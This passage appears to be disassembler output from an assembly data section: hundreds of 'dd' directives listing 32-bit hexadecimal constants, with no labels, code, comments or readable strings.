		dd 3B07A669h, 0DEB88083h, 0DCD244E8h, 32F3008Eh, 5F991D87h
		dd 78919ED5h, 0AF2E6C00h, 738D6E6Ah, 7D670740h,	3047B829h
		dd 308C2368h, 5D0063F2h, 2688A455h, 2A74B4FDh, 0E44964h
		dd 4B967058h, 4AD32ADAh, 2B3DBB00h, 64E13FFAh, 8872007Ch
		dd 28761097h, 0EE02FB82h, 7570C936h, 52C8808Dh,	1E8B9201h
		dd 0C10E8F94h, 0FA0CC13Eh, 7C03ECDCh, 0F228C38h, 304C9F6Fh
		dd 4B374E00h, 148E0111h, 0C6318A00h, 0FBD5BC86h, 3DF1ECD6h
		dd 19B96C71h, 92B08080h, 99334745h, 10A48F00h, 2197F5EFh
		dd 14E1EA27h, 864F44D9h
		dd 79F62300h, 1302B491h, 0E6A26400h, 7DAA63DBh,	6AA10BE3h
		dd 74A004A5h, 0C7521CDFh, 4706B600h, 0C5450EC6h, 0B992006Fh
		dd 1BF356E6h, 3205071Ah, 0B6B1D348h, 21B48C00h,	36BF490h
		dd 7C8B2220h, 8AA3A53Eh, 0E96CD81Eh, 80DEDC09h,	0AB36A8A8h
		dd 2E2B8A4h, 0A7CC18EBh, 9940F748h, 637841BCh, 48218230h
		dd 78F9D27h, 53B28DC3h,	0D01EA701h, 5535EA05h, 0D782AF07h
		dd 3FA7E8E4h, 0EE5E8540h, 0B95EEDBh, 47FB196Fh,	222800Fh
		dd 0D84063EFh, 3E00C9B6h, 48B97350h, 0E112931h,	406A6959h
		dd 0E40C44C0h, 8000B1F3h, 6AE1E23h, 372238h, 98FAE349h
		dd 22789B6h, 42E0FF07h,	3AF0F1D8h, 4559AEh, 0F2BFDE29h
		dd 74EA4E86h, 7F07B9F6h, 3DAA41E1h, 0D2D7F1B0h,	0DD130FC5h
		dd 0C620F09Eh, 2792B61Bh, 74355C03h, 266672Eh, 4CFDBAA8h
		dd 1CC20C41h, 0DF98A760h, 5A01AFF8h, 0D83357C4h, 0E5D40FBDh
		dd 9BB902E2h, 3E86DB7h,	9E6364C0h, 876F4D00h, 62DDEA29h
		dd 88A314C5h, 23DF25Bh,	0B38047B8h, 0AE5E24D3h,	0AD00F779h
		dd 0C151ABBFh, 0AA1263h, 5C29D930h, 52242282h, 9F536014h
		dd 0DB0079E8h, 0EAA2B57Fh, 389062A9h, 935C6BE0h, 4E2B6100h
		dd 0FD5526DFh, 0EA5D800h, 0FC5B3A13h, 19060030h, 24AB03CFh
		dd 6100F08Dh, 140C4563h, 23FCD5h, 0A0552D12h, 72E0B5A8h
		dd 0CC342A1Dh, 221E5680h, 79C2F36h, 0DF80B3CAh,	994380C0h
		dd 8616BD77h, 0AC036618h, 0D80E670Ch, 7428FEADh, 0C70100E1h
		dd 0F17D4B39h, 7C98BB04h, 0A42BD409h, 3D3C0083h, 1E3E06D3h
		dd 47F29Ah, 6FC7B421h, 8D006A04h, 1EE6BAFh, 0FFA84Eh, 8F09979Dh
		dd 2B1E1DAh, 59F8C200h,	4DF7DE90h, 0D2F0186Ch, 7461170h
		dd 3C803700h, 53A0DAD3h, 0B440029Ch, 0F25722FCh, 0BCE45CE0h
		dd 3AB270E7h, 5DC0620Eh, 0B59E0058h, 412F459h, 2CA6DF09h
		dd 4AE081F1h, 0F0C04096h, 180090B2h, 0BC01F2Fh,	319CFEC5h
		dd 39D0D2A2h, 0D6BDC46Ch, 4F10D460h, 0E4740CD9h, 23FF00C3h
		dd 4760EA1h, 0F62CD8ECh, 5C00789Eh, 0B86C8A6Bh,	0AE9572E0h
		dd 0C2DA0028h, 3FA48276h, 4D0104C4h, 15A11C9Ah,	2880CA37h
		dd 73098C3h, 3E0C5903h,	0B1A65C54h, 0D89A4Fh, 7C87A11Ah
		dd 8655750Bh, 845C1B76h, 0E89307BBh, 0AB4560h, 9DA3D398h
		dd 0AA76EBh, 24744370h,	440898E2h, 7D17CC77h, 9C039C28h
		dd 90C152B3h, 6E49DCBh,	3BAE123h, 0D600F4F4h, 3DC7B78Dh
		dd 43B6DBh, 0FCC64EA0h,	0A49D8A37h, 7DB054B8h, 6AF1E12h
		dd 0D9C10C5Dh, 0A5734ED3h, 50E82081h, 600798ADh, 9E09A258h
		dd 0E0C4AB53h, 0C00343C8h, 95383D72h, 0F428C99Ah, 0A802EC11h
		dd 1EECAAF7h, 31D0C059h, 0A09E89h, 5E7462ADh, 0AF006FA4h
		dd 0E31E4180h, 3973C21Bh, 2180B87Eh, 29054734h,	0CD0179DCh
		dd 658FAAD4h, 0F6F4F94Bh, 0B8D050CCh, 37C40E6Eh, 93E1E833h
		dd 2049D3C6h, 0F10058FEh, 0F0B9F71Ch, 0A328DBh,	0F927FEBBh
		dd 0B8AD5E14h, 0C39A3D00h, 9D1A7F9Eh, 0B2020BA6h, 620A21C2h
		dd 0D9EF0059h, 85A472BCh, 8862BA00h, 8FC8D439h,	0B57624h
		dd 6E748C7h, 7F96FCDCh,	3400DBE0h, 5B7192DFh, 1CECBh, 0C4312642h
		dd 0F1B278ABh, 4A7552F4h, 7B8A3603h, 1776DB4Bh,	40E189FCh
		dd 0B8C44DA0h, 5F079C59h, 0D53CEFCh, 78A02C35h,	307FE692h
		dd 5E304CFBh, 0D60050A5h, 74995811h, 839C4h, 0AFC72406h
		dd 29C276DCh, 9DACD03Ch, 44A4D703h, 2FE31207h, 101447A0h
		dd 509F053Ch, 884F281Ah, 920E4A68h, 0A05B3DBCh,	67C0A7B4h
		dd 3C1F257h, 215376DAh,	0E6D86D1Ch, 39008A1Eh, 0DDED0F19h
		dd 10C261h, 0D71D2D56h,	4EB4EFA2h, 2C82F009h, 66E881D5h
		dd 8282A7Ah, 80BFCF12h,	0C6FC1534h, 7603C4B0h, 7ADF1A7Ch
		dd 6C1DC837h, 0D6680E78h, 0F384350Bh, 4B348015h, 0CE00995Ah
		dd 9D846DDAh, 58890F55h, 0E60218DBh, 6CC95FB1h,	0D302ABC0h
		dd 0BBB26300h, 11D1852Bh, 0F4EE00A3h, 352D4B28h, 32001F06h
		dd 0BFF6DEEDh, 0E8FE9A8h, 64AB5CB7h, 52A9C4A1h,	9DD4537Eh
		dd 0A062E5E7h, 8C020EFCh, 0B93A2FBh, 0E8CCC039h, 44073E31h
		dd 604DAB80h, 76D4FB6Ch, 11A7F70Bh, 75CB83A5h, 470E193h
		dd 0E8D02721h, 1DCA0062h, 64770145h, 660123C7h,	0A1380773h
		dd 7C601284h, 363E0B3Ch, 804037AEh, 0C3F6F047h,	53AB1C1Dh
		dd 244CE300h, 92C4099Bh, 0DAA00014h, 1F442CF8h,	7600521Bh
		dd 9FAF8873h, 5901E80h,	559CC26Fh, 98B8C301h, 0AACA3BB0h
		dd 0E42E6901h, 10876BE9h, 5C2530h, 1D9845E7h, 1C794A9Bh
		dd 5821BB13h, 51843C00h, 152B5C6h, 2A828031h, 40E68597h
		dd 63E56AC4h, 7E512B00h, 754D8D4Ch, 8C2004Bh, 3CF98097h
		dd 361EB8EFh, 0FD0034CDh, 0BB72FEC8h, 77F4F4h, 0C359996Eh
		dd 124441F1h, 2F583803h, 8C0588h, 8602D4F6h, 6EFB45A5h
		dd 17394F00h, 0B3E408D8h, 6777965h, 0F8981224h,	0CF0F2CB1h
		dd 809AAC07h, 9232F7D6h, 8F843h, 0C78356DFh, 630FB1CDh
		dd 8500B5ECh, 3FB695C6h, 0C0EDB0h, 739F0DBBh, 0FD389A30h
		dd 2D97DD02h, 4378F8B6h, 21E5C002h, 0E87E0FD1h,	1B60770Eh
		dd 0B4E10569h, 4CEEFA00h, 0B0412664h, 0B60C0FF6h, 0F9A03534h
		dd 557C32D1h, 8669018h,	13CE6738h, 0F831EDA5h, 0D15E002Dh
		dd 557BBDE8h, 0E17B071h, 10E4582Fh, 7A95AB43h, 13E212D8h
		dd 6E579200h, 0BEB65419h, 914A005Fh, 6F0A2436h,	80F2325h
		dd 0C0C2A633h, 82FDC646h, 52AB0075h, 0C0D6B794h, 2700FF0Fh
		dd 7607C9EEh, 36F95E9h,	4F8293ECh, 0B3C0A787h, 0BF13888Dh
		dd 360035F0h, 307CEC01h, 0D9B6000Fh, 2A23A42Fh,	6C00981Eh
		dd 75E6CA6Ah, 0FC902E07h, 48200E7h, 4DC89689h, 9400C918h
		dd 7F440225h, 7484E629h, 6E06008Ch, 0DD353A79h,	51008F5Dh
		dd 89BFB57h, 7B70D09h, 0B9CA15B3h, 54E46146h, 2405F81Ch
		dd 358C8A14h, 2CFF1CA0h, 0A736EB80h, 42808h, 5E5AF11Ch
		dd 59A9D5FEh, 4600CF90h, 3AA6805Ch, 0ADAFC9h, 0CA355D75h
		dd 830C3D27h, 2F24951Dh, 93B74880h, 0B6FBA4Dh, 0A3DB88A0h
		dd 0B97B5E00h, 77FE38Ah, 0E91ADF00h, 56FDC7A4h,	0A5301523h
		dd 0BC00982Ah, 0D07EADD5h, 1400AC15h, 2F685946h, 48CAB671h
		dd 7D064CA9h, 58B19743h, 2B397EFCh, 8B2F80E6h, 0E54A102Dh
		dd 0C14700ABh, 0C46FDEACh, 7C92013Dh, 4AB12C07h, 0C910A9CBh
		dd 4C43EE36h, 0B300B280h, 7BD85706h, 0F900681Eh, 0CD3578B6h
		dd 12A3CAC9h, 7BE564Ah,	20D36E20h, 39A6D28h, 416B1700h
		dd 0A1F265C8h, 0CDD100D0h, 44864F8Ch, 183DD93Fh, 0B0D780FCh
		dd 7EE2172Ch, 8EDF0078h, 0DB3F41B3h, 0BC486714h, 0F4C10036h
		dd 66924F93h, 3EFF18F3h, 8A5428A5h, 76DD670Eh, 45D5C003h
		dd 1D41DC8Bh, 0BF29DF90h, 621B0A00h, 0A96810EEh, 3C8C4D58h
		dd 80133E28h, 40821F6h,	52C48Ch, 9BE1FC24h, 9D4A6ED7h
		dd 7EF7020Fh, 9777C092h, 7B13FFFh, 69A29BFh, 0AEA9E0D4h
		dd 4872C647h, 5123D01Ch, 18004F9Ch, 3C973A25h, 0F9CB0770h
		dd 0AFCD1ADAh, 0B5C76E60h, 84F87F41h, 1D13C00h,	46FC1170h
		dd 9F593AC4h, 4124E200h, 92DB2F3Ah, 6F453C00h, 431D2C26h
		dd 0F91F004Ah, 509936A3h, 0C7009776h, 0E99B86B1h, 6627F5h
		dd 0D7ED571Dh, 0E3249FA4h, 0E4003890h, 516E9071h, 73709205h
		dd 0F7988Bh, 0F799BFE9h, 594B5D60h, 80769D38h, 0DE8AFC4Ah
		dd 1879AA2h, 0F8965097h, 0DC0F99DFh, 3B07B2C0h,	0E2309277h
		dd 0E02DEF0h, 9D8E003Fh, 1ADDF1B3h, 0A53AA180h,	0CBBE016Fh
		dd 0C8EA0E45h, 471040D2h, 6922584Ah, 17DED002h,	5060802Dh
		dd 660FD4DBh, 3F04F484h, 0B9F090C0h, 90A86497h,	65350064h
		dd 0A9AB5A3Dh, 1F00DBADh, 8BE6838Eh, 36824Fh, 0D0635BC3h
		dd 27794568h, 87C8030Eh, 80F46Ah, 5B382B15h, 139CE14h
		dd 0C005F646h, 0C46A6FDAh, 4E0F92F4h, 0A0628759h, 3BC9333Fh
		dd 0EFE948BCh, 0D6A3A003h, 0C000B8D4h, 5D636C94h, 738395C3h
		dd 0F34B38DAh, 0E280A048h, 0E0A9DC1Fh, 963A7000h, 4DA724BEh
		dd 87ED009Ah, 30D4944Ah, 0B72447AAh, 0AD66BC5Dh, 17B50C39h
		dd 1368E204h, 0C5001C78h, 0AD094CCDh, 5D06A2h, 0EFE0E8D5h
		dd 9CA1D240h, 681E4Ch, 0FF8C4647h, 0DEA03E36h, 0ABD88868h
		dd 0F409F61Fh, 2398014Bh, 60F28139h, 1CD678h, 0B8D92FD7h
		dd 0FA1A837Fh, 0E4E23B05h, 78806447h, 942390h, 0E37011EEh
		dd 0AB3E1233h, 74473901h, 5BF51CA6h, 5C48D960h,	0EC003CC0h
		dd 8CFED997h, 6AB8720Ch, 3EEBA40Bh, 0B43A81CFh,	687014C4h
		dd 0C272D6h, 4E55969Ch,	0F77D1C9Eh, 0BA4E400h, 360D58ACh
		dd 1D87FAC6h, 40B9886Bh, 0A1EC2195h, 1100AFD9h,	46182403h
		dd 715C491h, 139A74F4h,	78909083h, 0FF1D274Bh, 0F5AEBD66h
		dd 501E7903h, 7DFCE8E8h, 21A0BC1h, 0F080D36Bh, 0A67E274Ah
		dd 0BC293Fh, 2C613B0Bh,	31A7B6h, 1B622093h, 0A52DE459h
		dd 54FE800h, 0F125E914h, 6BBE0229h, 0F79846F8h,	17A240DFh
		dd 77790753h, 808A1DEAh, 210B14D5h, 81B4AE3Ch, 0ADF9FAEFh
		dd 82C0A670h, 811A0050h, 0C85C1FA8h, 0D8004BBBh, 38322E29h
		dd 0DF56B1h, 36195BEBh,	0ED02E11Eh, 4EE05E7Bh, 46642900h
		dd 5CF7E712h, 4BD400E9h, 0BE14C694h, 7000BDA3h,	162E2F6Ah
		dd 1D903ECCh, 8932B892h, 3F00CD04h, 36EAB56Ch, 7F40BD00h
		dd 62CE72ECh, 80D50FEBh, 48432256h, 0C18041D2h,	75001392h
		dd 8FD6670Ah, 0F040ECh,	0C9E4708Bh, 0CB4BD79Dh,	0EEE408DDh
		dd 1C669E00h, 3123D1h, 458DA01h, 0FB266809h, 0CA3D0F77h
		dd 3E7C0075h, 0F5514608h, 42210073h, 699FB4E3h,	25894BFh
		dd 713A00BCh, 154972F4h, 0FF4B00ECh, 0E975C241h, 0A300D07Fh
		dd 0BB829509h, 1DACEDh,	0B4211361h, 5A38C63Fh, 0E1294600h
		dd 0F8EABCF0h, 593E0091h, 37AD4D40h, 0BF008B48h, 0DB6F5AE3h
		dd 5C18EEA0h, 530EB891h, 90C271h, 4BA6B4DDh, 763B547h
		dd 0B394B29Eh, 0E3B75007h, 5A0752BDh, 0A2110668h, 0DA35A9E3h
		dd 0DD58C060h, 0AF0C007Bh, 454AE2E6h, 0A00BF1Bh, 0C3F22170h
		dd 0E87ABA56h, 6C0E309Dh, 5CF0EA30h, 0B8C9C501h, 7FA455AFh
		dd 4E421880h, 876E93A2h, 887D5C1Dh, 982714h, 56FB6FD0h
		dd 26B45BF4h, 1F068D9h,	0B11F2A5Dh, 0BE7C20C9h,	950099FAh
		dd 0A0A9FB58h, 0E4B81997h, 91E0098h, 4FA6DD88h,	2DFC284Dh
		dd 0F200D078h, 0CA10FAF6h, 0BD3F8Ch, 0B124C2BFh, 0F437BBEDh
		dd 3B18590Fh, 4C6CE7E4h, 2388B2F0h, 1DC82EB0h, 0AB7E04ECh
		dd 6194D0CAh, 0C430C31Eh, 9E57B036h, 78794CA0h,	2A6DFE0Bh
		dd 0F2083D80h, 4F007651h, 2131DE1h, 0F6ECE2Eh, 5C47FA8Eh
		dd 0BF168A0h, 0D80331B5h, 0F086922Fh, 0ED1CA0C7h, 439901CCh
		dd 766DF19Bh, 3E45208Ch, 7E449100h, 57D21D5h, 0FE58CE85h
		dd 93CAED20h, 9D4A1C17h, 78F8E01Fh, 83FCA850h, 32A76B01h
		dd 8A9AC639h, 18220020h, 0C0A305EBh, 8E02D42Eh,	0B5302BAAh
		dd 7AE06919h, 8AA17708h, 0D60601Eh, 9055F300h, 18790525h
		dd 640B0082h, 3F7B2454h, 4C60CA21h, 0BA62267Ah,	10D61D05h
		dd 8E148544h, 0BBB0813Fh, 2520DCF7h, 0A0E33330h, 0E4FA34h
		dd 23697946h, 0D280D171h, 12CB4B9h, 4B8D4A00h, 577648h
		dd 9E184F04h, 6DB0B9FEh, 543C9800h, 418CFBBFh, 6989005Ch
		dd 0F41DD263h, 0CA07AE90h, 9EE131A9h, 0C095C1D2h, 7AA20BB8h
		dd 7CBF0262h, 314B2D91h, 3A3D1C50h, 0DE0E0040h,	88232E77h
		dd 81B1004Fh, 703178F4h, 421019C5h, 67002792h, 1B35167Fh
		dd 2D0C8A15h, 48DBEFA7h, 157F6CEh, 980929F5h, 6095D287h
		dd 680EC94Ah, 5CD85CAh,	0C002D5C8h, 0E3BBAAFBh,	0DD72F076h
		dd 0E080E50h, 0C4032D8h, 27F2B6A9h, 7774BE00h, 754D7B6Fh
		dd 60B70049h, 269F448h,	2805A1C1h, 907ABFB9h, 0E22604BCh
		dd 875E0302h, 4290764Bh, 0C400049Ah, 8316A9D5h,	1D411128h
		dd 81AA55B6h, 6AB3D601h, 400BCCB0h, 3700EE90h, 60C66F38h
		dd 3C206798h, 6285862Ah, 0D20E7445h, 0BCC25E60h, 0AB7360C8h
		dd 0FC937C00h, 6D998550h, 0B41A015Bh, 7AD340A7h, 1458748Bh
		dd 0CB3E3F00h, 1BB9062Fh, 7F1E00CEh, 2A49883Dh,	3701B15Dh
		dd 0D9392B9Ch, 20E408A6h, 444707F6h, 37AB6BEDh,	0D42C00B3h
		dd 9400B575h, 5B7AA70h,	0A1B88Ch, 103D9758h, 716961E8h
		dd 38FB8326h, 726E3000h, 2815EDDEh, 0F42835h, 0C270453Dh
		dd 0A64723FBh, 1002B94Bh, 7F34C78Bh, 0F4003A62h, 0F6BCBE3Dh
		dd 24A0BF06h, 0DCF76Dh,	0F2459580h, 299B0185h, 0B409884Bh
		dd 307460C8h, 2D747Ah, 0AE4A7674h, 62BAC216h, 94121DE6h
		dd 4087C9h, 37D3A374h, 906EB8B5h, 0B4AA502Fh, 608A00E7h
		dd 781F3231h, 721CAE85h, 294167DBh, 3CDD55B3h, 79562EE4h
		dd 826D0E2Ch, 0FFC04D21h, 66A25E62h, 7195001h, 80201AA9h
		dd 17D1F4h, 93643A87h, 5BECFF85h, 6327D03h, 0F0B7C305h
		dd 8D6783h, 49586354h, 5391FCF6h, 0D7337500h, 6FA59812h
		dd 56221E1Ah, 0F4E90030h, 0D924AE39h, 0A4ED4C1Eh, 8EF146C4h
		dd 387D94D0h, 3F477402h, 79CB68h, 0F1012D33h, 0A9C9E3B4h
		dd 67697C00h, 0CB470ABDh, 76D8004Eh, 0DB234BDEh, 6800FE0Eh
		dd 0B0A94FC6h, 387756h,	7607D2F6h, 0EC674EE1h, 9E3D3900h
		dd 9905DDF5h, 4AD096FBh, 0CA003DDBh, 669DA8F8h,	0D10746FEh
		dd 0EAA6171Bh, 0C13092F0h, 5E990098h, 9E977F32h, 0D903E201h
		dd 3860873Bh, 368F8DAh,	0CCD5008Fh, 2EE0820Dh, 6E7C1C0Ch
		dd 0B93BC700h, 782802D2h, 821B006Fh, 9B7BDCFBh,	5D1D4941h
		dd 2340E80Bh, 76791367h, 0BDB00035h, 859AFF2Dh,	0EF1EE7B5h
		dd 2642AE28h, 58FB2720h, 2B360068h, 0A72E4A6Ch,	1F013721h
		dd 0BCFC5831h, 0F8EF9A6Fh, 7D9D0Bh, 4D08926h, 69C6D7A9h
		dd 9B671207h, 0E72088EEh, 1748A7DDh, 4078C490h,	591EC380h
		dd 5502D71Fh, 95D6DD03h, 0B8D48008h, 0FEB53944h, 21A03022h
		dd 0AC41B089h, 0BCC63100h, 45066665h, 12810E96h, 0CCFE37DFh
		dd 4740AA9Bh, 21FE3400h, 0F639A5C3h, 38A407B9h,	0D17309C2h
		dd 0E0D27720h, 0AA0084AFh, 32ECA708h, 396E66h, 3AB6DBDDh
		dd 0B9CBF705h, 0C43D6F01h, 0F0380277h, 30538AE0h, 0AB903960h
		dd 0DF01EAAEh, 0E14AD4A4h, 72D183ACh, 0F559BFh,	49D985D2h
		dd 4E6F628Bh, 0DD642E13h, 0CC86F701h, 0ABE8144Dh, 0B785002Fh
		dd 0CE769504h, 5400A111h, 0C5FAE72Dh, 6473B1h, 0B5128EAFh
		dd 0AAE0DCEEh, 0DF5D8D00h, 0D2EA92BAh, 0DB030004h, 0C7FF7246h
		dd 0E93AFE3Fh, 0E831008Bh, 8541DA8Dh, 964200F4h, 6E4F0F3h
		dd 9DB019ACh, 24D7FF00h, 0B13D1F4Ch, 6A0F005Ch,	0AC4B9480h
		dd 0EC0040A2h, 0FD7376C4h, 1FA11Ah, 2BB11C02h, 0E6138262h
		dd 0D457DE1Ch, 68218079h, 0FC5D2CEh, 3A410090h,	0E4E92624h
		dd 0A20F1AD5h, 606DF623h
		dd 0A1A8A74Ch, 7023C0Dh, 95583600h, 63AB230Bh, 331FBA18h
		dd 729F18h, 71A247AEh, 3E2059A4h, 400425E5h, 16BA310h
		dd 0D910D700h, 45A91B91h, 98E80020h, 0B21D174Bh, 29001A53h
		dd 0D102FFEDh, 0CD06A35h, 363065Bh, 0AE0B7E38h,	0A00D70B2h
		dd 6FCB4430h, 5A940097h, 0EE531223h, 0D74B1DBCh, 0F3F1EC00h
		dd 5ACB2A6Fh, 0E1EFE0C8h, 0A7B81960h, 7AE86370h, 214C008Eh
		dd 0B6954458h, 62E47B01h, 0C8680D00h, 4BA5051Ah, 90FD0039h
		dd 677672ECh, 401DA8BFh, 0B3C19113h, 9A7579EFh,	7EB9E4h
		dd 9B3A8960h, 4EA0DBBBh, 0A500B2FAh, 0B8D52DF6h, 0AEFB73h
		dd 9A5DC926h, 0C513015h, 503C800h, 0CBADC2F6h, 64470048h
		dd 9B6A7EB1h, 1A00A70Bh, 4B0FE025h, 3A1D5A54h, 32BB2E68h
		dd 0CD3D9300h, 22F29A2Ah, 4105968h, 98242886h, 0A19B0010h
		dd 48E1E933h, 17003638h, 7320D9AAh, 193906Dh, 5A491974h
		dd 884A159Bh, 8831BC29h, 20884C69h, 150C8866h, 9D304088h
		dd 0AC222286h, 1178426Ah, 96084E84h, 0C43F6EDAh, 0FF4848CDh
		dd 0A58C5707h, 98FC01A8h, 7752C8D9h, 943BE301h,	0C7EABE9Eh
		dd 3913D3FCh, 8980BF37h, 0BBB6F94Ah, 9F00A254h,	66CC3D09h
		dd 7D2002h, 0BEA52EE1h,	1EDBECB5h, 0B0844418h, 96C7A2h
		dd 8FF92655h, 653FA92h,	0EB7A71Fh, 0F20B003Dh, 0D01E4F57h
		dd 0BC260733h, 0C037BB75h, 0C0531C46h, 5F02B7FAh, 41DB828Fh
		dd 0A3DD606Bh, 810D129Fh, 477A1FE4h, 0C1A71497h, 21DC9CADh
		dd 5A10803Ah, 0F54FF415h, 6189010Ch, 6A2F3E86h,	51D44030h
		dd 0F877ED2Ch, 0F10048F6h, 94070341h, 4C26BE5h,	0B35DADBFh
		dd 8BFD8064h, 6774A15Fh, 8022B03Fh, 0E99C9F99h,	19F8FBh
		dd 0F9FF57B8h, 189562DFh, 59897A00h, 55FDEE2Ch,	6520084h
		dd 7FB81B75h, 40184CF7h, 241067DCh, 7D120327h, 0BAB4EA2Bh
		dd 160DEEAh, 0F27BB60Eh, 5C2D1D26h, 93535400h, 7BE30A8h
		dd 0A33EBCA9h, 0BAC83CE1h, 0BD008F7Ah, 0AACF6B1Eh, 1D94E57Bh
		dd 0C05CAE02h, 0B3D3C22h, 670ECB72h, 0E065F67Eh, 0B1269BE6h
		dd 8BD82E17h, 0C16F0117h, 4A924473h, 314900D8h,	58E75BE5h
		dd 0CDBD006Fh, 33D11D0Dh, 0B80057D2h, 9BF9701h,	3137392h
		dd 0B7CE1F16h, 4DB82A8Ah, 74605DBDh, 672EEA18h,	52210043h
		dd 7185039Dh, 0B22CF75Fh, 580064CCh, 83017346h,	0A8482ED4h
		dd 52F400A7h, 59A07ACBh, 1722C600h, 0A1E07D88h,	0E9E9A0ACh
		dd 9F1B00E5h, 0EB4086B1h, 23008136h, 53E40EA6h,	1387BDh
		dd 0D4AF1D51h, 12EF2180h, 0EC8B1C00h, 71ADE92Bh, 0BD0C02B8h
		dd 99FA768Eh, 0F8E0A88Eh, 2F4168D1h, 0EDB1DCC0h, 0FC9C6h
		dd 0AB85B51Fh, 7B961937h, 0A1D57A00h, 0E2DC0782h, 369A1771h
		dd 0BC950086h, 848DB80Eh, 0B398F400h, 552EE6F3h, 0EB8F00D9h
		dd 0C0814C44h, 0FA3E2292h, 0D4B0F47Ah, 0F7467F04h, 0F3AC6FA8h
		dd 0E88FBC3Ch, 108406C8h, 309C8048h, 421CA268h,	898019C6h
		dd 9BBE0102h, 78F00DAh,	5FD46F79h, 0D5F25EBDh, 0AC18FE00h
		dd 9770FFCh, 0B70300B9h, 2E1DBC1h, 1009925h, 218CD385h
		dd 81A613h, 0C3CC0B54h,	3B5AA93Eh, 17330924h, 0CD95E100h
		dd 4CF22DA5h, 9E00789Ch, 519062F4h, 88388E38h, 4BBC00E7h
		dd 0C62B9D96h, 7AB300B2h, 90FE325Ah, 7D48CB78h,	80803924h
		dd 0DDF34613h, 38861023h, 82014A4Ch, 92B98439h,	4F288056h
		dd 9A49B47h, 6EF0FCh, 0ABDF2E08h, 0F518840Fh, 71008FE4h
		dd 9EC163F9h, 2204EDh, 9A2351E9h, 1A6FF580h, 373DB801h
		dd 0FD18E23Eh, 0E4601289h, 203F2420h, 900DDCBh,	0C8F6D587h
		dd 5B6D43h, 0D6EAD9A9h,	0E21E145Fh, 1C848807h, 12F01ACCh
		dd 40CBA91h, 0E39FB1E8h, 0B51880E7h, 6F0F39EFh,	405C4799h
		dd 0B19886C8h, 0B3A709C7h, 24202C8Dh, 5BDD6E33h, 7C6F1900h
		dd 0BE7E0A9Ah, 0CB2300B9h, 553759E4h, 90005CEFh, 2F9F09CCh
		dd 751E0Dh, 0FFF17E04h,	0E9F0A8FCh, 5C348703h, 0B8938E8Fh
		dd 4C82F4h, 50A233BDh, 0B7D09B37h, 7B83F601h, 0B92190C0h
		dd 4C34B0CFh, 78F4A6h, 0AC3A967h, 3BE59E46h, 3C5CC800h
		dd 73AFB147h, 13D0E4F0h, 5E3ADDh, 34CE7728h, 0F2004DA9h
		dd 0F4575BA6h, 63B070Dh, 77F1EF05h, 62042865h, 6FFB97C6h
		dd 8F25080h, 5AED0080h,	964E8F55h, 0BB002684h, 4652D61Bh
		dd 9987254h, 0E349CDA5h, 0F0912800h, 0EB002A6Ah, 0B23B947Eh
		dd 4CF6CDDh, 990E26AFh,	0B37488A4h, 0C034558h, 8848BFFCh
		dd 6490E4h, 63A48E03h, 0C3C754C5h, 31000090h, 2A09B9CAh
		dd 0E9346Eh, 0A2B032DAh, 0D169C9Dh, 6550487Ah, 0FD1C689Bh
		dd 36402275h, 0FEDCDA70h, 549000E0h, 0F4E67E93h, 0B74DBE4Ah
		dd 0B00E009Ch, 976AA415h, 14990081h, 41FBF55Bh,	63730AB9h
		dd 430F3200h, 0B820EEE1h, 687758FCh, 0C800F33Ah, 0F66BA659h
		dd 0EC604ED3h, 6D4F9420h, 8C6224AFh, 0D75800B4h, 48F57BDCh
		dd 34237424h, 86BAEE00h, 1E742BBh, 0AA87E880h, 8040217Eh
		dd 0D2CE6470h, 0F61DFF30h, 0B74F1482h, 71008C08h, 0CC8A7451h
		dd 0B006E4Eh, 6FC72042h, 780A53A9h, 435700EDh, 4E9B972Dh
		dd 4672C303h, 0E7564B00h, 0B67646Ch, 2D5D00F1h,	9161791Bh
		dd 58005A8Dh, 0FCAA6855h, 1F788B8h, 0F53B1E62h,	973596AFh
		dd 3B0001B0h, 0DC00BFCh, 300500D2h, 4B625BF4h, 1E005713h
		dd 5E8AFAC8h, 3C278D2Ah, 0C00BA07h, 928B9DB5h, 88001418h
		dd 99D16C7Bh, 48A0964Ah, 0A11E8C52h, 4E0480AAh,	6B409C8Ch
		dd 0A618023Fh, 7C00387Dh, 918AEAC0h, 2F580F08h,	0A6C0CBB5h
		dd 0B29A6437h, 0A7399B12h, 3ABB2C00h, 0C6D3DBh,	27497A6Eh
		dd 0F51EA375h, 8190DA00h, 98051F0Ch, 0B6B000C5h, 0DCC6768h
		dd 0CCF9698Bh, 58007C66h, 0ACA78990h, 0EF9A7Bh,	18E4DDEh
		dd 14039FCFh, 6F2F7C00h, 9CDA637Ah, 985C1DA2h, 95760097h
		dd 0FF3DEBECh, 671A600h, 2085B7EEh, 0B83000A4h,	6FA924B2h
		dd 1E3AB9AEh, 2500FE61h, 0C6BBDC91h, 181E58Dh, 0F14DA89h
		dd 2A73B768h, 0CE403AF1h, 3FD68302h, 0F800B9B4h, 3C6E3837h
		dd 93086BDh, 34F77040h,	45230F12h, 4A00EDFBh, 0F0702C3Ch
		dd 5261A003h, 0C88483C7h, 13F57717h, 0B32B71h, 94130293h
		dd 89F88051h, 3CE4AE00h, 36B8319Fh, 8EE0001Eh, 70EF33FCh
		dd 0F001E74Ah, 4183D2D0h, 68870762h, 5045C2BAh,	0AEF15E4Bh
		dd 0D6B6B200h, 20268AE6h, 0F993001Bh, 883E79Dh,	8200A844h
		dd 1C31A2Fh, 80844Ch, 0B422437Ch, 559CE4D9h, 0DFEC0400h
		dd 0C89F9DCEh, 0C587005Bh, 0C1DEA28Ch, 0E0061E1h, 7C17825Dh
		dd 7D3919Dh, 6C467537h,	0D832200Ch, 0D748E110h,	2800705Bh
		dd 1A7650D4h, 7118A93Dh, 2B0C0715h, 4159C447h, 71A14579h
		dd 6198F82Dh, 52622013h, 87928E00h, 22AEFEh, 0A570D171h
		dd 7A9DBACBh, 1564EB00h, 799B84F7h, 63B70031h, 0A1A8865Ch
		dd 0D800299Fh, 0EBDA6FF0h, 17FCD1Fh, 0BFFAA2AFh, 0D0B87B20h
		dd 74FE8B55h, 0D154EC00h, 140F7845h, 0F28D004Bh, 0B1CF5E49h
		dd 6C7D1B92h, 6988BD0Bh, 0F4F587CCh, 4E1237E0h,	0BB85C2Eh
		dd 6AE5EF00h, 0C555FEECh, 5A0069F0h, 0D351DD71h, 0BEA2F6h
		dd 81E89A15h, 0D46C04A8h, 23F9C000h, 8EC64718h,	7B3F07D3h
		dd 70876844h, 607EA70Bh, 52F4E0F2h, 589C8607h, 5759BB02h
		dd 729B8900h, 6D00B505h, 63B678C3h, 0C34E953h, 0F9B7478Fh
		dd 0A0072936h, 84FAD0C1h
